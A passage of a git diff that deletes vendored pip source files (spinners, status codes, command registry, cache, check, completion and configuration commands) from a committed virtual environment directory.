-                    '(see "pip help {name}")'.format(**opts)
-                )
-
-        return requirements
-
-    @staticmethod
-    def trace_basic_info(finder: PackageFinder) -> None:
-        """
-        Trace basic information about the provided objects.
-        """
-        # Display where finder is looking for packages
-        search_scope = finder.search_scope
-        locations = search_scope.get_formatted_locations()
-        if locations:
-            logger.info(locations)
-
-    def _build_package_finder(
-        self,
-        options: Values,
-        session: PipSession,
-        target_python: TargetPython | None = None,
-        ignore_requires_python: bool = False,
-    ) -> PackageFinder:
-        """
-        Create a package finder appropriate to this requirement command.
-
-        :param ignore_requires_python: Whether to ignore incompatible
-            "Requires-Python" values in links. Defaults to False.
-        """
-        link_collector = LinkCollector.create(session, options=options)
-        selection_prefs = SelectionPreferences(
-            allow_yanked=True,
-            format_control=options.format_control,
-            release_control=options.release_control,
-            prefer_binary=options.prefer_binary,
-            ignore_requires_python=ignore_requires_python,
-        )
-
-        return PackageFinder.create(
-            link_collector=link_collector,
-            selection_prefs=selection_prefs,
-            target_python=target_python,
-            uploaded_prior_to=options.uploaded_prior_to,
-        )
diff --git a/venv/Lib/site-packages/pip/_internal/cli/spinners.py b/venv/Lib/site-packages/pip/_internal/cli/spinners.py
deleted file mode 100644
index 58aad2853ddcb3ea1fb086d8b811ed2cdab04fb4..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/cli/spinners.py
+++ /dev/null
@@ -1,235 +0,0 @@
-from __future__ import annotations
-
-import contextlib
-import itertools
-import logging
-import sys
-import time
-from collections.abc import Generator
-from typing import IO, Final
-
-from pip._vendor.rich.console import (
-    Console,
-    ConsoleOptions,
-    RenderableType,
-    RenderResult,
-)
-from pip._vendor.rich.live import Live
-from pip._vendor.rich.measure import Measurement
-from pip._vendor.rich.text import Text
-
-from pip._internal.utils.compat import WINDOWS
-from pip._internal.utils.logging import get_console, get_indentation
-
-logger = logging.getLogger(__name__)
-
-SPINNER_CHARS: Final = r"-\|/"
-SPINS_PER_SECOND: Final = 8
-
-
-class SpinnerInterface:
-    def spin(self) -> None:
-        raise NotImplementedError()
-
-    def finish(self, final_status: str) -> None:
-        raise NotImplementedError()
-
-
-class InteractiveSpinner(SpinnerInterface):
-    def __init__(
-        self,
-        message: str,
-        file: IO[str] | None = None,
-        spin_chars: str = SPINNER_CHARS,
-        # Empirically, 8 updates/second looks nice
-        min_update_interval_seconds: float = 1 / SPINS_PER_SECOND,
-    ):
-        self._message = message
-        if file is None:
-            file = sys.stdout
-        self._file = file
-        self._rate_limiter = RateLimiter(min_update_interval_seconds)
-        self._finished = False
-
-        self._spin_cycle = itertools.cycle(spin_chars)
-
-        self._file.write(" " * get_indentation() + self._message + " ... ")
-        self._width = 0
-
-    def _write(self, status: str) -> None:
-        assert not self._finished
-        # Erase what we wrote before by backspacing to the beginning, writing
-        # spaces to overwrite the old text, and then backspacing again
-        backup = "\b" * self._width
-        self._file.write(backup + " " * self._width + backup)
-        # Now we have a blank slate to add our status
-        self._file.write(status)
-        self._width = len(status)
-        self._file.flush()
-        self._rate_limiter.reset()
-
-    def spin(self) -> None:
-        if self._finished:
-            return
-        if not self._rate_limiter.ready():
-            return
-        self._write(next(self._spin_cycle))
-
-    def finish(self, final_status: str) -> None:
-        if self._finished:
-            return
-        self._write(final_status)
-        self._file.write("\n")
-        self._file.flush()
-        self._finished = True
-
-
-# Used for dumb terminals, non-interactive installs (no tty), etc.
-# We still print updates occasionally (once every 60 seconds by default) to
-# act as a keep-alive for systems like Travis-CI that take lack-of-output as
-# an indication that a task has frozen.
-class NonInteractiveSpinner(SpinnerInterface):
-    def __init__(self, message: str, min_update_interval_seconds: float = 60.0) -> None:
-        self._message = message
-        self._finished = False
-        self._rate_limiter = RateLimiter(min_update_interval_seconds)
-        self._update("started")
-
-    def _update(self, status: str) -> None:
-        assert not self._finished
-        self._rate_limiter.reset()
-        logger.info("%s: %s", self._message, status)
-
-    def spin(self) -> None:
-        if self._finished:
-            return
-        if not self._rate_limiter.ready():
-            return
-        self._update("still running...")
-
-    def finish(self, final_status: str) -> None:
-        if self._finished:
-            return
-        self._update(f"finished with status '{final_status}'")
-        self._finished = True
-
-
-class RateLimiter:
-    def __init__(self, min_update_interval_seconds: float) -> None:
-        self._min_update_interval_seconds = min_update_interval_seconds
-        self._last_update: float = 0
-
-    def ready(self) -> bool:
-        now = time.time()
-        delta = now - self._last_update
-        return delta >= self._min_update_interval_seconds
-
-    def reset(self) -> None:
-        self._last_update = time.time()
-
-
-@contextlib.contextmanager
-def open_spinner(message: str) -> Generator[SpinnerInterface, None, None]:
-    # Interactive spinner goes directly to sys.stdout rather than being routed
-    # through the logging system, but it acts like it has level INFO,
-    # i.e. it's only displayed if we're at level INFO or better.
-    # Non-interactive spinner goes through the logging system, so it is always
-    # in sync with logging configuration.
-    if sys.stdout.isatty() and logger.getEffectiveLevel() <= logging.INFO:
-        spinner: SpinnerInterface = InteractiveSpinner(message)
-    else:
-        spinner = NonInteractiveSpinner(message)
-    try:
-        with hidden_cursor(sys.stdout):
-            yield spinner
-    except KeyboardInterrupt:
-        spinner.finish("canceled")
-        raise
-    except Exception:
-        spinner.finish("error")
-        raise
-    else:
-        spinner.finish("done")
-
-
-class _PipRichSpinner:
-    """
-    Custom rich spinner that matches the style of the legacy spinners.
-
-    (*) Updates will be handled in a background thread by a rich live panel
-        which will call render() automatically at the appropriate time.
-    """
-
-    def __init__(self, label: str) -> None:
-        self.label = label
-        self._spin_cycle = itertools.cycle(SPINNER_CHARS)
-        self._spinner_text = ""
-        self._finished = False
-        self._indent = get_indentation() * " "
-
-    def __rich_console__(
-        self, console: Console, options: ConsoleOptions
-    ) -> RenderResult:
-        yield self.render()
-
-    def __rich_measure__(
-        self, console: Console, options: ConsoleOptions
-    ) -> Measurement:
-        text = self.render()
-        return Measurement.get(console, options, text)
-
-    def render(self) -> RenderableType:
-        if not self._finished:
-            self._spinner_text = next(self._spin_cycle)
-
-        return Text.assemble(self._indent, self.label, " ... ", self._spinner_text)
-
-    def finish(self, status: str) -> None:
-        """Stop spinning and set a final status message."""
-        self._spinner_text = status
-        self._finished = True
-
-
-@contextlib.contextmanager
-def open_rich_spinner(label: str, console: Console | None = None) -> Generator[None]:
-    if not logger.isEnabledFor(logging.INFO):
-        # Don't show spinner if --quiet is given.
-        yield
-        return
-
-    console = console or get_console()
-    spinner = _PipRichSpinner(label)
-    with Live(spinner, refresh_per_second=SPINS_PER_SECOND, console=console):
-        try:
-            yield
-        except KeyboardInterrupt:
-            spinner.finish("canceled")
-            raise
-        except Exception:
-            spinner.finish("error")
-            raise
-        else:
-            spinner.finish("done")
-
-
-HIDE_CURSOR = "\x1b[?25l"
-SHOW_CURSOR = "\x1b[?25h"
-
-
-@contextlib.contextmanager
-def hidden_cursor(file: IO[str]) -> Generator[None, None, None]:
-    # The Windows terminal does not support the hide/show cursor ANSI codes,
-    # even via colorama. So don't even try.
-    if WINDOWS:
-        yield
-    # We don't want to clutter the output with control characters if we're
-    # writing to a file, or if the user is running with --quiet.
-    # See https://github.com/pypa/pip/issues/3418
-    elif not file.isatty() or logger.getEffectiveLevel() > logging.INFO:
-        yield
-    else:
-        file.write(HIDE_CURSOR)
-        try:
-            yield
-        finally:
-            file.write(SHOW_CURSOR)
diff --git a/venv/Lib/site-packages/pip/_internal/cli/status_codes.py b/venv/Lib/site-packages/pip/_internal/cli/status_codes.py
deleted file mode 100644
index 2b2ecabc327fa09fd64dfda96e69a68c355978c2..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/cli/status_codes.py
+++ /dev/null
@@ -1,7 +0,0 @@
-SUCCESS = 0
-ERROR = 1
-UNKNOWN_ERROR = 2
-VIRTUALENV_NOT_FOUND = 3
-PREVIOUS_BUILD_DIR_ERROR = 4
-NO_MATCHES_FOUND = 23
-BROKEN_STDOUT = 120
diff --git a/venv/Lib/site-packages/pip/_internal/commands/__init__.py b/venv/Lib/site-packages/pip/_internal/commands/__init__.py
deleted file mode 100644
index bedeca9e9508859623b95ad104840578834c15b2..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/__init__.py
+++ /dev/null
@@ -1,139 +0,0 @@
-"""
-Package containing all pip commands
-"""
-
-from __future__ import annotations
-
-import importlib
-from collections import namedtuple
-from typing import Any
-
-from pip._internal.cli.base_command import Command
-
-CommandInfo = namedtuple("CommandInfo", "module_path, class_name, summary")
-
-# This dictionary does a bunch of heavy lifting for help output:
-# - Enables avoiding additional (costly) imports for presenting `--help`.
-# - The ordering matters for help display.
-#
-# Even though the module path starts with the same "pip._internal.commands"
-# prefix, the full path makes testing easier (specifically when modifying
-# `commands_dict` in test setup / teardown).
-commands_dict: dict[str, CommandInfo] = {
-    "install": CommandInfo(
-        "pip._internal.commands.install",
-        "InstallCommand",
-        "Install packages.",
-    ),
-    "lock": CommandInfo(
-        "pip._internal.commands.lock",
-        "LockCommand",
-        "Generate a lock file.",
-    ),
-    "download": CommandInfo(
-        "pip._internal.commands.download",
-        "DownloadCommand",
-        "Download packages.",
-    ),
-    "uninstall": CommandInfo(
-        "pip._internal.commands.uninstall",
-        "UninstallCommand",
-        "Uninstall packages.",
-    ),
-    "freeze": CommandInfo(
-        "pip._internal.commands.freeze",
-        "FreezeCommand",
-        "Output installed packages in requirements format.",
-    ),
-    "inspect": CommandInfo(
-        "pip._internal.commands.inspect",
-        "InspectCommand",
-        "Inspect the python environment.",
-    ),
-    "list": CommandInfo(
-        "pip._internal.commands.list",
-        "ListCommand",
-        "List installed packages.",
-    ),
-    "show": CommandInfo(
-        "pip._internal.commands.show",
-        "ShowCommand",
-        "Show information about installed packages.",
-    ),
-    "check": CommandInfo(
-        "pip._internal.commands.check",
-        "CheckCommand",
-        "Verify installed packages have compatible dependencies.",
-    ),
-    "config": CommandInfo(
-        "pip._internal.commands.configuration",
-        "ConfigurationCommand",
-        "Manage local and global configuration.",
-    ),
-    "search": CommandInfo(
-        "pip._internal.commands.search",
-        "SearchCommand",
-        "Search PyPI for packages.",
-    ),
-    "cache": CommandInfo(
-        "pip._internal.commands.cache",
-        "CacheCommand",
-        "Inspect and manage pip's wheel cache.",
-    ),
-    "index": CommandInfo(
-        "pip._internal.commands.index",
-        "IndexCommand",
-        "Inspect information available from package indexes.",
-    ),
-    "wheel": CommandInfo(
-        "pip._internal.commands.wheel",
-        "WheelCommand",
-        "Build wheels from your requirements.",
-    ),
-    "hash": CommandInfo(
-        "pip._internal.commands.hash",
-        "HashCommand",
-        "Compute hashes of package archives.",
-    ),
-    "completion": CommandInfo(
-        "pip._internal.commands.completion",
-        "CompletionCommand",
-        "A helper command used for command completion.",
-    ),
-    "debug": CommandInfo(
-        "pip._internal.commands.debug",
-        "DebugCommand",
-        "Show information useful for debugging.",
-    ),
-    "help": CommandInfo(
-        "pip._internal.commands.help",
-        "HelpCommand",
-        "Show help for commands.",
-    ),
-}
-
-
-def create_command(name: str, **kwargs: Any) -> Command:
-    """
-    Create an instance of the Command class with the given name.
-    """
-    module_path, class_name, summary = commands_dict[name]
-    module = importlib.import_module(module_path)
-    command_class = getattr(module, class_name)
-    command = command_class(name=name, summary=summary, **kwargs)
-
-    return command
-
-
-def get_similar_commands(name: str) -> str | None:
-    """Command name auto-correct."""
-    from difflib import get_close_matches
-
-    name = name.lower()
-
-    close_commands = get_close_matches(name, commands_dict.keys())
-
-    if close_commands:
-        return close_commands[0]
-    else:
-        return None
diff --git a/venv/Lib/site-packages/pip/_internal/commands/cache.py b/venv/Lib/site-packages/pip/_internal/commands/cache.py
deleted file mode 100644
index 232ace8d40d9d8bda15cae103c182006b1913db5..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/cache.py
+++ /dev/null
@@ -1,256 +0,0 @@
-import os
-import textwrap
-from collections.abc import Callable
-from optparse import Values
-
-from pip._internal.cli.base_command import Command
-from pip._internal.cli.status_codes import ERROR, SUCCESS
-from pip._internal.exceptions import CommandError, PipError
-from pip._internal.utils import filesystem
-from pip._internal.utils.logging import getLogger
-from pip._internal.utils.misc import format_size
-
-logger = getLogger(__name__)
-
-
-class CacheCommand(Command):
-    """
-    Inspect and manage pip's wheel cache.
-
-    Subcommands:
-
-    - dir: Show the cache directory.
-    - info: Show information about the cache.
-    - list: List filenames of packages stored in the cache.
-    - remove: Remove one or more package from the cache.
-    - purge: Remove all items from the cache.
-
-    ```` can be a glob expression or a package name.
-    """
-
-    ignore_require_venv = True
-    usage = """
-        %prog dir
-        %prog info
-        %prog list [] [--format=[human, abspath]]
-        %prog remove 
-        %prog purge
-    """
-
-    def add_options(self) -> None:
-        self.cmd_opts.add_option(
-            "--format",
-            action="store",
-            dest="list_format",
-            default="human",
-            choices=("human", "abspath"),
-            help="Select the output format among: human (default) or abspath",
-        )
-
-        self.parser.insert_option_group(0, self.cmd_opts)
-
-    def handler_map(self) -> dict[str, Callable[[Values, list[str]], None]]:
-        return {
-            "dir": self.get_cache_dir,
-            "info": self.get_cache_info,
-            "list": self.list_cache_items,
-            "remove": self.remove_cache_items,
-            "purge": self.purge_cache,
-        }
-
-    def run(self, options: Values, args: list[str]) -> int:
-        handler_map = self.handler_map()
-
-        if not options.cache_dir:
-            logger.error("pip cache commands can not function since cache is disabled.")
-            return ERROR
-
-        # Determine action
-        if not args or args[0] not in handler_map:
-            logger.error(
-                "Need an action (%s) to perform.",
-                ", ".join(sorted(handler_map)),
-            )
-            return ERROR
-
-        action = args[0]
-
-        # Error handling happens here, not in the action-handlers.
-        try:
-            handler_map[action](options, args[1:])
-        except PipError as e:
-            logger.error(e.args[0])
-            return ERROR
-
-        return SUCCESS
-
-    def get_cache_dir(self, options: Values, args: list[str]) -> None:
-        if args:
-            raise CommandError("Too many arguments")
-
-        logger.info(options.cache_dir)
-
-    def get_cache_info(self, options: Values, args: list[str]) -> None:
-        if args:
-            raise CommandError("Too many arguments")
-
-        num_http_files = len(self._find_http_files(options))
-        num_packages = len(self._find_wheels(options, "*"))
-
-        http_cache_location = self._cache_dir(options, "http-v2")
-        old_http_cache_location = self._cache_dir(options, "http")
-        wheels_cache_location = self._cache_dir(options, "wheels")
-        http_cache_size = filesystem.format_size(
-            filesystem.directory_size(http_cache_location)
-            + filesystem.directory_size(old_http_cache_location)
-        )
-        wheels_cache_size = filesystem.format_directory_size(wheels_cache_location)
-
-        message = (
-            textwrap.dedent("""
-                    Package index page cache location (pip v23.3+): {http_cache_location}
-                    Package index page cache location (older pips): {old_http_cache_location}
-                    Package index page cache size: {http_cache_size}
-                    Number of HTTP files: {num_http_files}
-                    Locally built wheels location: {wheels_cache_location}
-                    Locally built wheels size: {wheels_cache_size}
-                    Number of locally built wheels: {package_count}
-                """)  # noqa: E501
-            .format(
-                http_cache_location=http_cache_location,
-                old_http_cache_location=old_http_cache_location,
-                http_cache_size=http_cache_size,
-                num_http_files=num_http_files,
-                wheels_cache_location=wheels_cache_location,
-                package_count=num_packages,
-                wheels_cache_size=wheels_cache_size,
-            )
-            .strip()
-        )
-
-        logger.info(message)
-
-    def list_cache_items(self, options: Values, args: list[str]) -> None:
-        if len(args) > 1:
-            raise CommandError("Too many arguments")
-
-        if args:
-            pattern = args[0]
-        else:
-            pattern = "*"
-
-        files = self._find_wheels(options, pattern)
-        if options.list_format == "human":
-            self.format_for_human(files)
-        else:
-            self.format_for_abspath(files)
-
-    def format_for_human(self, files: list[str]) -> None:
-        if not files:
-            logger.info("No locally built wheels cached.")
-            return
-
-        results = []
-        for filename in files:
-            wheel = os.path.basename(filename)
-            size = filesystem.format_file_size(filename)
-            results.append(f" - {wheel} ({size})")
-        logger.info("Cache contents:\n")
-        logger.info("\n".join(sorted(results)))
-
-    def format_for_abspath(self, files: list[str]) -> None:
-        if files:
-            logger.info("\n".join(sorted(files)))
-
-    def remove_cache_items(self, options: Values, args: list[str]) -> None:
-        if len(args) > 1:
-            raise CommandError("Too many arguments")
-
-        if not args:
-            raise CommandError("Please provide a pattern")
-
-        files = self._find_wheels(options, args[0])
-
-        no_matching_msg = "No matching packages"
-        if args[0] == "*":
-            # Only fetch http files if no specific pattern given
-            files += self._find_http_files(options)
-        else:
-            # Add the pattern to the log message
-            no_matching_msg += f' for pattern "{args[0]}"'
-
-        if not files:
-            logger.warning(no_matching_msg)
-
-        bytes_removed = 0
-        for filename in files:
-            bytes_removed += os.stat(filename).st_size
-            os.unlink(filename)
-            logger.verbose("Removed %s", filename)
-
-        http_dirs = filesystem.subdirs_without_files(self._cache_dir(options, "http"))
-        http_v2_dirs = filesystem.subdirs_without_files(
-            self._cache_dir(options, "http-v2")
-        )
-        wheel_dirs = filesystem.subdirs_without_wheels(
-            self._cache_dir(options, "wheels")
-        )
-        dirs = [*http_dirs, *http_v2_dirs, *wheel_dirs]
-
-        for subdir in dirs:
-            try:
-                for file in subdir.iterdir():
-                    file.unlink(missing_ok=True)
-                subdir.rmdir()
-            except FileNotFoundError:
-                # If the directory is already gone, that's fine.
-                pass
-            logger.verbose("Removed %s", subdir)
-
-        # selfcheck.json is no longer used by pip.
-        selfcheck_json = self._cache_dir(options, "selfcheck.json")
-        if os.path.isfile(selfcheck_json):
-            os.remove(selfcheck_json)
-            logger.verbose("Removed legacy selfcheck.json file")
-
-        logger.info("Files removed: %s (%s)", len(files), format_size(bytes_removed))
-        logger.info("Directories removed: %s", len(dirs))
-
-    def purge_cache(self, options: Values, args: list[str]) -> None:
-        if args:
-            raise CommandError("Too many arguments")
-
-        return self.remove_cache_items(options, ["*"])
-
-    def _cache_dir(self, options: Values, subdir: str) -> str:
-        return os.path.join(options.cache_dir, subdir)
-
-    def _find_http_files(self, options: Values) -> list[str]:
-        old_http_dir = self._cache_dir(options, "http")
-        new_http_dir = self._cache_dir(options, "http-v2")
-        return filesystem.find_files(old_http_dir, "*") + filesystem.find_files(
-            new_http_dir, "*"
-        )
-
-    def _find_wheels(self, options: Values, pattern: str) -> list[str]:
-        wheel_dir = self._cache_dir(options, "wheels")
-
-        # The wheel filename format, as specified in PEP 427, is:
-        #     {distribution}-{version}(-{build})?-{python}-{abi}-{platform}.whl
-        #
-        # Additionally, non-alphanumeric values in the distribution are
-        # normalized to underscores (_), meaning hyphens can never occur
-        # before `-{version}`.
-        #
-        # Given that information:
-        # - If the pattern we're given contains a hyphen (-), the user is
-        #   providing at least the version. Thus, we can just append `*.whl`
-        #   to match the rest of it.
-        # - If the pattern we're given doesn't contain a hyphen (-), the
-        #   user is only providing the name. Thus, we append `-*.whl` to
-        #   match the hyphen before the version, followed by anything else.
-        #
-        # PEP 427: https://www.python.org/dev/peps/pep-0427/
-        pattern = pattern + ("*.whl" if "-" in pattern else "-*.whl")
-
-        return filesystem.find_files(wheel_dir, pattern)
diff --git a/venv/Lib/site-packages/pip/_internal/commands/check.py b/venv/Lib/site-packages/pip/_internal/commands/check.py
deleted file mode 100644
index 516757eead7ad90f375cc3b9117328b73e13ee16..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/check.py
+++ /dev/null
@@ -1,66 +0,0 @@
-import logging
-from optparse import Values
-
-from pip._internal.cli.base_command import Command
-from pip._internal.cli.status_codes import ERROR, SUCCESS
-from pip._internal.metadata import get_default_environment
-from pip._internal.operations.check import (
-    check_package_set,
-    check_unsupported,
-    create_package_set_from_installed,
-)
-from pip._internal.utils.compatibility_tags import get_supported
-from pip._internal.utils.misc import write_output
-
-logger = logging.getLogger(__name__)
-
-
-class CheckCommand(Command):
-    """Verify installed packages have compatible dependencies."""
-
-    ignore_require_venv = True
-    usage = """
-      %prog [options]"""
-
-    def run(self, options: Values, args: list[str]) -> int:
-        package_set, parsing_probs = create_package_set_from_installed()
-        missing, conflicting = check_package_set(package_set)
-        unsupported = list(
-            check_unsupported(
-                get_default_environment().iter_installed_distributions(),
-                get_supported(),
-            )
-        )
-
-        for project_name in missing:
-            version = package_set[project_name].version
-            for dependency in missing[project_name]:
-                write_output(
-                    "%s %s requires %s, which is not installed.",
-                    project_name,
-                    version,
-                    dependency[0],
-                )
-
-        for project_name in conflicting:
-            version = package_set[project_name].version
-            for dep_name, dep_version, req in conflicting[project_name]:
-                write_output(
-                    "%s %s has requirement %s, but you have %s %s.",
-                    project_name,
-                    version,
-                    req,
-                    dep_name,
-                    dep_version,
-                )
-        for package in unsupported:
-            write_output(
-                "%s %s is not supported on this platform",
-                package.raw_name,
-                package.version,
-            )
-        if missing or conflicting or parsing_probs or unsupported:
-            return ERROR
-        else:
-            write_output("No broken requirements found.")
-            return SUCCESS
diff --git a/venv/Lib/site-packages/pip/_internal/commands/completion.py b/venv/Lib/site-packages/pip/_internal/commands/completion.py
deleted file mode 100644
index 7ba205d726339f38cd758a120e60a4297254f0a7..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/completion.py
+++ /dev/null
@@ -1,136 +0,0 @@
-import sys
-import textwrap
-from optparse import Values
-
-from pip._internal.cli.base_command import Command
-from pip._internal.cli.status_codes import SUCCESS
-from pip._internal.utils.misc import get_prog
-
-BASE_COMPLETION = """
-# pip {shell} completion start{script}# pip {shell} completion end
-"""
-
-COMPLETION_SCRIPTS = {
-    "bash": """
-        _pip_completion()
-        {{
-            local IFS=$' \\t\\n'
-            COMPREPLY=( $( COMP_WORDS="${{COMP_WORDS[*]}}" \\
-                           COMP_CWORD=$COMP_CWORD \\
-                           PIP_AUTO_COMPLETE=1 "$1" 2>/dev/null ) )
-        }}
-        complete -o default -F _pip_completion {prog}
-    """,
-    "zsh": """
-        #compdef -P pip[0-9.]#
-        __pip() {{
-          compadd $( COMP_WORDS="$words[*]" \\
-                     COMP_CWORD=$((CURRENT-1)) \\
-                     PIP_AUTO_COMPLETE=1 $words[1] 2>/dev/null )
-        }}
-        if [[ $zsh_eval_context[-1] == loadautofunc ]]; then
-          # autoload from fpath, call function directly
-          __pip "$@"
-        else
-          # eval/source/. command, register function for later
-          compdef __pip -P 'pip[0-9.]#'
-        fi
-    """,
-    "fish": """
-        function __fish_complete_pip
-            set -lx COMP_WORDS \\
-                (commandline --current-process --tokenize --cut-at-cursor) \\
-                (commandline --current-token --cut-at-cursor)
-            set -lx COMP_CWORD (math (count $COMP_WORDS) - 1)
-            set -lx PIP_AUTO_COMPLETE 1
-            set -l completions
-            if string match -q '2.*' $version
-                set completions (eval $COMP_WORDS[1])
-            else
-                set completions ($COMP_WORDS[1])
-            end
-            string split \\  -- $completions
-        end
-        complete -fa "(__fish_complete_pip)" -c {prog}
-    """,
-    "powershell": """
-        if ((Test-Path Function:\\TabExpansion) -and -not `
-            (Test-Path Function:\\_pip_completeBackup)) {{
-            Rename-Item Function:\\TabExpansion _pip_completeBackup
-        }}
-        function TabExpansion($line, $lastWord) {{
-            $lastBlock = [regex]::Split($line, '[|;]')[-1].TrimStart()
-            if ($lastBlock.StartsWith("{prog} ")) {{
-                $Env:COMP_WORDS=$lastBlock
-                $Env:COMP_CWORD=$lastBlock.Split().Length - 1
-                $Env:PIP_AUTO_COMPLETE=1
-                (& {prog}).Split()
-                Remove-Item Env:COMP_WORDS
-                Remove-Item Env:COMP_CWORD
-                Remove-Item Env:PIP_AUTO_COMPLETE
-            }}
-            elseif (Test-Path Function:\\_pip_completeBackup) {{
-                # Fall back on existing tab expansion
-                _pip_completeBackup $line $lastWord
-            }}
-        }}
-    """,
-}
-
-
-class CompletionCommand(Command):
-    """A helper command to be used for command completion."""
-
-    ignore_require_venv = True
-
-    def add_options(self) -> None:
-        self.cmd_opts.add_option(
-            "--bash",
-            "-b",
-            action="store_const",
-            const="bash",
-            dest="shell",
-            help="Emit completion code for bash",
-        )
-        self.cmd_opts.add_option(
-            "--zsh",
-            "-z",
-            action="store_const",
-            const="zsh",
-            dest="shell",
-            help="Emit completion code for zsh",
-        )
-        self.cmd_opts.add_option(
-            "--fish",
-            "-f",
-            action="store_const",
-            const="fish",
-            dest="shell",
-            help="Emit completion code for fish",
-        )
-        self.cmd_opts.add_option(
-            "--powershell",
-            "-p",
-            action="store_const",
-            const="powershell",
-            dest="shell",
-            help="Emit completion code for powershell",
-        )
-
-        self.parser.insert_option_group(0, self.cmd_opts)
-
-    def run(self, options: Values, args: list[str]) -> int:
-        """Prints the completion code of the given shell"""
-        shells = COMPLETION_SCRIPTS.keys()
-        shell_options = ["--" + shell for shell in sorted(shells)]
-        if options.shell in shells:
-            script = textwrap.dedent(
-                COMPLETION_SCRIPTS.get(options.shell, "").format(prog=get_prog())
-            )
-            print(BASE_COMPLETION.format(script=script, shell=options.shell))
-            return SUCCESS
-        else:
-            sys.stderr.write(
-                "ERROR: You must pass {}\n".format(" or ".join(shell_options))
-            )
-            return SUCCESS
diff --git a/venv/Lib/site-packages/pip/_internal/commands/configuration.py b/venv/Lib/site-packages/pip/_internal/commands/configuration.py
deleted file mode 100644
index 4fa860ff9bb5bc78fd98aa3fe5c2e184afc81110..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/configuration.py
+++ /dev/null
@@ -1,289 +0,0 @@
-from __future__ import annotations
-
-import logging
-import os
-import subprocess
-from collections.abc import Callable
-from optparse import Values
-from typing import Any
-
-from pip._internal.cli.base_command import Command
-from pip._internal.cli.status_codes import ERROR, SUCCESS
-from pip._internal.configuration import (
-    Configuration,
-    Kind,
-    get_configuration_files,
-    kinds,
-)
-from pip._internal.exceptions import PipError
-from pip._internal.utils.logging import indent_log
-from pip._internal.utils.misc import get_prog, write_output
-
-logger = logging.getLogger(__name__)
-
-
-class ConfigurationCommand(Command):
-    """
-    Manage local and global configuration.
-
-    Subcommands:
-
-    - list: List the active configuration (or from the file specified)
-    - edit: Edit the configuration file in an editor
-    - get: Get the value associated with command.option
-    - set: Set the command.option=value
-    - unset: Unset the value associated with command.option
-    - debug: List the configuration files and values defined under them
-
-    Configuration keys should be dot separated command and option name,
-    with the special prefix "global" affecting any command. For example,
-    "pip config set global.index-url https://example.org/" would configure
-    the index url for all commands, but "pip config set download.timeout 10"
-    would configure a 10 second timeout only for "pip download" commands.
-
-    If none of --user, --global and --site are passed, a virtual
-    environment configuration file is used if one is active and the file
-    exists. Otherwise, all modifications happen to the user file by
-    default.
-    """
-
-    ignore_require_venv = True
-    usage = """
-        %prog [] list
-        %prog [] [--editor ] edit
-
-        %prog [] get command.option
-        %prog [] set command.option value
-        %prog [] unset command.option
-        %prog [] debug
-    """
-
-    def add_options(self) -> None:
-        self.cmd_opts.add_option(
-            "--editor",
-            dest="editor",
-            action="store",
-            default=None,
-            help=(
-                "Editor to use to edit the file. Uses VISUAL or EDITOR "
-                "environment variables if not provided."
-            ),
-        )
-
-        self.cmd_opts.add_option(
-            "--global",
-            dest="global_file",
-            action="store_true",
-            default=False,
-            help="Use the system-wide configuration file only",
-        )
-
-        self.cmd_opts.add_option(
-            "--user",
-            dest="user_file",
-            action="store_true",
-            default=False,
-            help="Use the user configuration file only",
-        )
-
-        self.cmd_opts.add_option(
-            "--site",
-            dest="site_file",
-            action="store_true",
-            default=False,
-            help="Use the current environment configuration file only",
-        )
-
-        self.parser.insert_option_group(0, self.cmd_opts)
-
-    def handler_map(self) -> dict[str, Callable[[Values, list[str]], None]]:
-        return {
-            "list": self.list_values,
-            "edit": self.open_in_editor,
-            "get": self.get_name,
-            "set": self.set_name_value,
-            "unset": self.unset_name,
-            "debug": self.list_config_values,
-        }
-
-    def run(self, options: Values, args: list[str]) -> int:
-        handler_map = self.handler_map()
-
-        # Determine action
-        if not args or args[0] not in handler_map:
-            logger.error(
-                "Need an action (%s) to perform.",
-                ", ".join(sorted(handler_map)),
-            )
-            return ERROR
-
-        action = args[0]
-
-        # Determine which configuration files are to be loaded
-        #    Depends on whether the command is modifying.
-        try:
-            load_only = self._determine_file(
-                options, need_value=(action in ["get", "set", "unset", "edit"])
-            )
-        except PipError as e:
-            logger.error(e.args[0])
-            return ERROR
-
-        # Load a new configuration
-        self.configuration = Configuration(
-            isolated=options.isolated_mode, load_only=load_only
-        )
-        self.configuration.load()
-
-        # Error handling happens here, not in the action-handlers.
-        try:
-            handler_map[action](options, args[1:])
-        except PipError as e:
-            logger.error(e.args[0])
-            return ERROR
-
-        return SUCCESS
-
-    def _determine_file(self, options: Values, need_value: bool) -> Kind | None:
-        file_options = [
-            key
-            for key, value in (
-                (kinds.USER, options.user_file),
-                (kinds.GLOBAL, options.global_file),
-                (kinds.SITE, options.site_file),
-            )
-            if value
-        ]
-
-        if not file_options:
-            if not need_value:
-                return None
-            # Default to user, unless there's a site file.
-            elif any(
-                os.path.exists(site_config_file)
-                for site_config_file in get_configuration_files()[kinds.SITE]
-            ):
-                return kinds.SITE
-            else:
-                return kinds.USER
-        elif len(file_options) == 1:
-            return file_options[0]
-
-        raise PipError(
-            "Need exactly one file to operate upon "
-            "(--user, --site, --global) to perform."
-        )
-
-    def list_values(self, options: Values, args: list[str]) -> None:
-        self._get_n_args(args, "list", n=0)
-
-        for key, value in sorted(self.configuration.items()):
-            for key, value in sorted(value.items()):
-                write_output("%s=%r", key, value)
-
-    def get_name(self, options: Values, args: list[str]) -> None:
-        key = self._get_n_args(args, "get [name]", n=1)
-        value = self.configuration.get_value(key)
-
-        write_output("%s", value)
-
-    def set_name_value(self, options: Values, args: list[str]) -> None:
-        key, value = self._get_n_args(args, "set [name] [value]", n=2)
-        self.configuration.set_value(key, value)
-
-        self._save_configuration()
-
-    def unset_name(self, options: Values, args: list[str]) -> None:
-        key = self._get_n_args(args, "unset [name]", n=1)
-        self.configuration.unset_value(key)
-
-        self._save_configuration()
-
-    def list_config_values(self, options: Values, args: list[str]) -> None:
-        """List config key-value pairs across different config files"""
-        self._get_n_args(args, "debug", n=0)
-
-        self.print_env_var_values()
-        # Iterate over config files and print if they exist, and the
-        # key-value pairs present in them if they do
